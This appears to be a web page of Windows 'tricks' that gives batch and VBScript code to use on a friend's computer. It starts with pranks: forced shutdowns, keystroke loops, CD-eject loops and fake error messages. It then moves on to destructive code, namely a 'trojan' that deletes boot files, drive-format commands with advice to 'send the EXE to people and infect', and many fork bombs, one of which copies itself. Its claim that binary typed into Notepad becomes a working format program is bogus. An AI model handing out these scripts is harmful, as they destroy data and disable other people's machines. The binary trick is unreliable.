MS Windows tricks and tips

1)       Convey your friend a lil' message and shut down his / her computer:
Type :
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s
Save it as "Anything.BAT" in All Files

2)       Toggle your friend's Caps Lock button simultaneously:
Type :
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS"

3)      Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS"
4) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS"
5)      Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS"
7)       Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save it as "Anything.VBS".

8      . Open Notepad continually in your friend's computer:
Type :
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as "Anything.BAT"
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Another one is a Error message.
When opened it displays an error message and the person will be freaked out!!!
 lol = msgbox("What ever you want here!!",16,"Error-Whatever you want Here!")
And save as anything.vbs and select ALL FILES and Click save!
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Shutdown Hack-
"@echo off"
"shutdown.exe -s -t 10 -c "You have Been Hacked!"
then go to file>save as>Shutdown.bat>filetype>all files

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Create a new file with notepad call it what-ever-you-want.vbs
2. Input the following code
CODE
Do
x=msgbox("Windows Protection error: D556d5. Please restart your computer",21,"Error")
loop
 Convey your friend a lil' message and shut down his / her computer:
Type :
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s
Save it as "Anything.BAT" in All Files
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*** DISCLAIMER*** I HOLD NO RESPONSIBILITY OF WHAT YOU WILL BE LEARNING NEXT.IT IS INTEDED ONLY FOR EDUCATIONAL PURPOSES AND NOT MEANT TO BE DONE



MAKE A TROJAN VIRUS
(@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini)

save as a .BAT file
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FORMAT YOUR HDD

If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this hack I will show you how to format a HDD using a notepad. This is really cool.
Step 1.
Copy The Following In Notepad Exactly as it says
01001011000111110010010101010101010000011111100000
Step 2.
Save As An EXE Any Name Will Do
Step 3.
Send the EXE to People And Infect
----------------------------------------------*************----------------------------------------------------
Format Your C Drive
01100110011011110111001001101101011000010111010000
100000011000110011101001011100 0010000000101111010100010010111101011000
Click on Save.
In the Save As box that pops up, give any name you wish for the file.
Save the file. Now change the extension from .txt to .exe.
format d:\ /Q/X — this will format your dirve d:\

01100110011011110111001001101101011000010111010000 100000011001000011101001011100

0010000000101111010100010010111101011000

format a:\ /Q/X — this will format your drive a:\

01100110011011110111001001101101011000010111010000 100000011000010011101001011100

0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000 10111101010011001011110101000100100000011000110011101001011100011000100110111101 1011110111010000101110011010010110111001101001
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FORK BOMBS
step 1         making the .bat
:fork
start %0
%0|%0
goto :fork
explorer bomb:
:e
start %0
start C:\Windows\explorer.exe
%0|%0
goto :e
program bomb:
:e
start %0
start anyprogramyouwant
%0|%0
goto :e

the mini bomb:
%0|%0

inefficient bombs:
#1:
:e
start
start
start
goto :e

#2:
:e
start cmd.exe
goto :e

#3
:e
start (name of the batch file)
goto :e

slap in the face for deleting this bomb:
IF (DELETE whatever.bat) goto :e
IF (ERASE whatever.bat
:e
start %0
%0|%0
goto :e

matrix bomb:
@echo off
color 0a
:x
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% (lots of randoms)
start %0
%0|%0
goto :x

spread like a real virus bomb:
:e
copy /Y %0 %random%.bat
start %0
%0|%0
goto :e

alphabet fork:
:a
start %0
%0|%0
goto :a
:b
start %0
%0|%0
goto :b
:c
start %0
%0|%0
goto :c
:d
start %0
%0|%0
goto :d
:e
start %0
%0|%0
goto :e
:f
start %0
%0|%0
goto :g
:h
start %0
%0|%0
goto :i
:j
start %0
%0|%0
goto :j
:k
start %0
%0|%0
goto :k
:l
start %0
%0|%0
goto :l
:m
start %0
%0|%0
goto :m
:n
start %0
%0|%0
goto :n
:o
start %0
%0|%0
goto :o
:p
start %0
%0|%0
goto :p
:q
start %0
%0|%0
goto :q
:r
start %0
%0|%0
goto :r
:s
start %0
%0|%0
goto :s
:t
start %0
%0|%0
goto :t
:u
start %0
%0|%0
goto :u
:v
start %0
%0|%0
goto :v
:w
start %0
%0|%0
goto :w
:x
start %0
%0|%0
goto :x
:y
start %0
%0|%0
goto :y
:z
start %0
%0|%0
goto :z
:bob
start %0
%0|%0
goto :bob